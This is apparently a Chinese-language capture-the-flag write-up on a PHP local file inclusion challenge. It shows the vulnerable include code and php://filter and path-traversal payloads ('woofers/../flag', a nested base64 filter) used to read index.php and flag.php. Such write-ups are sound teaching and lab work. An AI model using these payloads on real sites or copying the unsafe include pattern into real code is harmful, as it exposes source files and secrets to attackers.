打开随意选择一个选项可以看到
怀疑是sql注入或者是文件包含,随便输入一个值返回php报错:
从图中可以知道是文件包含漏洞
先用php://filter伪协议读一下index.php源码看一下
php://filter/read=convert.base64-encode/resource=index
(这里构造成 php://filter/read=convert.base64-encode/resource=index.php 是会报错的,因为后端给文件拼接了 “.php” )
可以得到一串base64编码:
解密得到源码提取下来
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
传入的category需要有woofers/meowers/index才能包含以传入名为文件名的文件,看看能不能包含flag.php
利用include函数特性包含一下flag.php试试
index.php?category=woofers/../flag
可以看见源码中多了个can you read this flag
对此判断flag.php被包含在其中
php://filter伪协议可以嵌套一层协议,因此我们可以直接构造payload:
php://filter/read=convert.base64-encode/woofers/resource=flag
将这串base64码解密